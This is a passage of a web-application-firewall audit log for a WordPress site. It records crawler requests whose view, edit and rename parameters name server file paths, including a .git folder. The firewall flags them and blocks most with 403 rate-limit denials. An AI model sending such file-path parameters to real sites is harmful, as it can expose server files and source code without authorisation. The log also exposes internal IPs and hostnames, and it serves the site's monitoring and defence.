rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"c65653cee7e5797fe6bf608a7fb42982","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e7/230a0665372b5c3014f3e231a0dd01d69f64ef||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":323,"p2":5774,"p3":0,"p4":0,"p5":428,"sr":142,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:45.626946 +0100","transaction_id":"abPgTTPdmgxGrrIlyaIlZwAAAJE","remote_address":"216.73.216.152","remote_port":50608,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fpost.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fa1d0facf0559ef0b23a326647bd0d11","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1937563"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fa1d0facf0559ef0b23a326647bd0d11","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/post.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":220,"p2":2041,"p3":0,"p4":0,"p5":437,"sr":123,"sw":98,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:45.658899 +0100","transaction_id":"abPgTTPdmgxGrrIlyaIlaAAAAJE","remote_address":"216.73.216.152","remote_port":50608,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fgallery.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0ec3e0308fa073e4114aaa9842be7a55","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13732285"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0ec3e0308fa073e4114aaa9842be7a55","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/gallery.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":299,"p2":2838,"p3":0,"p4":0,"p5":441,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:45.770131 +0100","transaction_id":"abPgTVH1YMuwIMtyvU1cDAAAAdc","remote_address":"216.73.216.152","remote_port":34410,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Frevisions.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d0120fa9b9346839a811aa346cb35ebd","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13371037"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d0120fa9b9346839a811aa346cb35ebd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/revisions.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":185,"p2":1988,"p3":0,"p4":0,"p5":473,"sr":217,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:45.883238 +0100","transaction_id":"abPgTTPdmgxGrrIlyaIlaQAAAJE","remote_address":"216.73.216.152","remote_port":50608,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fcustom-header.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"8f6f065b2aa464f4450bd516b045724b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6362273"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"8f6f065b2aa464f4450bd516b045724b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/custom-header.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":182,"p2":1862,"p3":0,"p4":0,"p5":398,"sr":110,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:45.996725 +0100","transaction_id":"abPgTTT0M4xfGsNBJdw-owAAAUA","remote_address":"216.73.216.152","remote_port":41202,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fnav-menu.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"3cde0c202f5c81064b28e253c7a2e79b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6362276"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"3cde0c202f5c81064b28e253c7a2e79b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/nav-menu.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":193,"p2":2370,"p3":0,"p4":0,"p5":331,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:46.099367 +0100","transaction_id":"abPgTlQCd8W53Be-qe97twAAAgI","remote_address":"216.73.216.152","remote_port":45888,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fuser-suggest.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"959081f85f00a3ff5e56a2c85629719c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15173702"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"959081f85f00a3ff5e56a2c85629719c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/user-suggest.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":320,"p2":2802,"p3":0,"p4":0,"p5":497,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:46.199594 +0100","transaction_id":"abPgTlQCd8W53Be-qe97uAAAAgU","remote_address":"216.73.216.152","remote_port":50618,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fpostbox.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"510597c4c07f18ca7ecc02c1881b2213","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13371043"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"510597c4c07f18ca7ecc02c1881b2213","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/postbox.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":197,"p2":2190,"p3":0,"p4":0,"p5":396,"sr":111,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:46.300766 +0100","transaction_id":"abPgTlQCd8W53Be-qe97ugAAAgI","remote_address":"216.73.216.152","remote_port":45888,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Ftags.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6bffe79e214e1887d7db7cdd5c49c80f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13371046"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6bffe79e214e1887d7db7cdd5c49c80f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/tags.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":193,"p2":2329,"p3":0,"p4":0,"p5":374,"sr":154,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:46.449932 +0100","transaction_id":"abPgTva6lumP0T36rfGHBAAAAEI","remote_address":"216.73.216.152","remote_port":59838,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Finline-edit-post.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1e90ce47865b6ba2eaa293198a0cf5f4","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"530461"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1e90ce47865b6ba2eaa293198a0cf5f4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/inline-edit-post.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":200,"p2":2286,"p3":0,"p4":0,"p5":296,"sr":107,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:46.502767 +0100","transaction_id":"abPgTva6lumP0T36rfGHBQAAAEI","remote_address":"216.73.216.152","remote_port":59838,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fprivacy-tools.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"405a7e49d2eb2e60e2833ae581b41735","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11014772"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"405a7e49d2eb2e60e2833ae581b41735","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/privacy-tools.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":252,"p2":2003,"p3":0,"p4":0,"p5":427,"sr":107,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:46.604209 +0100","transaction_id":"abPgTva6lumP0T36rfGHBgAAAEI","remote_address":"216.73.216.152","remote_port":59838,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fapplication-passwords.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"331f4064234ad5b8c10366238856a71f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"530464"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"331f4064234ad5b8c10366238856a71f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/application-passwords.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":220,"p2":2242,"p3":0,"p4":0,"p5":424,"sr":107,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:00:46.704329 +0100","transaction_id":"abPgTva6lumP0T36rfGHBwAAAEI","remote_address":"216.73.216.152","remote_port":59838,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fdashboard.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bd1317bc6db9f04fd71a0a786e36080c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 